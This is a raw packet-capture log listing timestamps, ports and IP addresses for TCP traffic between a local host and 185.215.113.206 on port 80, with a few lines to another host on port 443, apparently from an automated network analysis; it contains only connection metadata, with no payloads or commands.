Nov 18, 2024 13:29:34.814939022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.814966917 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.815000057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815012932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815046072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.815059900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815071106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815099955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.815125942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.815195084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815213919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815237999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815248966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815256119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.815262079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815277100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.815289974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.815310955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.815310955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815330982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815355062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.815366983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.815366983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815378904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815390110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.815413952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.815429926 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.816243887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816257954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816270113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816293001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.816307068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.816330910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816417933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816431046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816442013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816454887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816474915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.816485882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.816509008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816550016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.816736937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816797972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816812038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816829920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.816900969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.816911936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816925049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816965103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.816965103 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.816977024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817017078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817090988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817105055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817118883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817131996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817156076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817231894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817248106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817260981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817272902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817274094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817286968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817312002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817312956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817332029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817342997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817500114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817511082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817542076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817565918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817574024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817585945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817596912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817609072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817612886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817635059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817668915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817728996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817739964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817753077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817765951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817795038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817843914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817854881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817866087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817879915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817886114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817893028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817900896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817903996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.817917109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.817941904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818105936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818119049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818130970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818142891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818154097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818156958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818164110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818170071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818185091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818195105 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818214893 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818237066 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818346024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818358898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818372011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818399906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818423033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818511009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818522930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818535089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818548918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818552971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818562984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818573952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818576097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818581104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818589926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818602085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818614006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.818614960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818623066 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.818655014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819478989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819490910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819505930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819524050 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819539070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819560051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819572926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819588900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819610119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819628954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819662094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819674969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819685936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819704056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819724083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819799900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819813013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819828987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819839001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819844007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819850922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819859028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819874048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819880009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819936991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819936991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819943905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819957018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819969893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.819982052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.819998980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820055008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820077896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820091009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820103884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820116043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820126057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820128918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820146084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820171118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820215940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820235968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820245981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820261002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820272923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820272923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820288897 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820316076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820347071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820360899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820393085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820416927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820509911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820522070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820533991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820547104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820559025 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820584059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820617914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820630074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820641041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.820657015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820664883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.820688009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.835567951 CET	49825	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:34.835609913 CET	443	49825	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:34.835736990 CET	49825	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:34.838694096 CET	49825	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:34.838716984 CET	443	49825	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:34.859492064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.859518051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.859533072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.859550953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.859584093 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.859591961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.859606028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.859632969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.859658003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.859682083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.859694958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.859735966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.931791067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.931818962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.931832075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.931876898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.931879997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.931925058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.931957960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.931961060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.931973934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.931988001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932014942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932039022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932106972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932121038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932132959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932147980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932159901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932178974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932410002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932462931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932473898 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932476997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932499886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932519913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932562113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932574034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932585001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932600021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932605982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932621956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932650089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932681084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932693958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932720900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932732105 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932910919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932930946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932956934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.932971001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.932993889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.933008909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933049917 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.933149099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933161020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933182001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933187962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.933196068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933219910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.933219910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.933232069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.933279037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933293104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933305025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933330059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.933353901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.933363914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933420897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933433056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933468103 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.933479071 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.933500051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933512926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933548927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.933563948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.933634996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.934359074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934381008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934429884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.934468031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934509039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.934516907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934530020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934567928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.934603930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934616089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934628010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934653997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.934665918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.934710026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934748888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.934767962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934830904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934844017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934871912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.934896946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.934905052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934923887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934973001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.934984922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.934997082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935009003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935022116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935043097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935106993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935118914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935132027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935153961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935177088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935244083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935260057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935271978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935285091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935290098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935302019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935327053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935497046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935507059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935518026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935529947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935542107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935542107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935553074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935555935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935569048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935570955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935580969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935591936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935595989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935625076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935791969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935806036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935817957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935832977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935837030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935847998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935852051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935863018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935875893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935878992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935888052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935899973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.935904026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935930014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.935942888 CET	49746	80	192.168.2.8	185.215.113.206
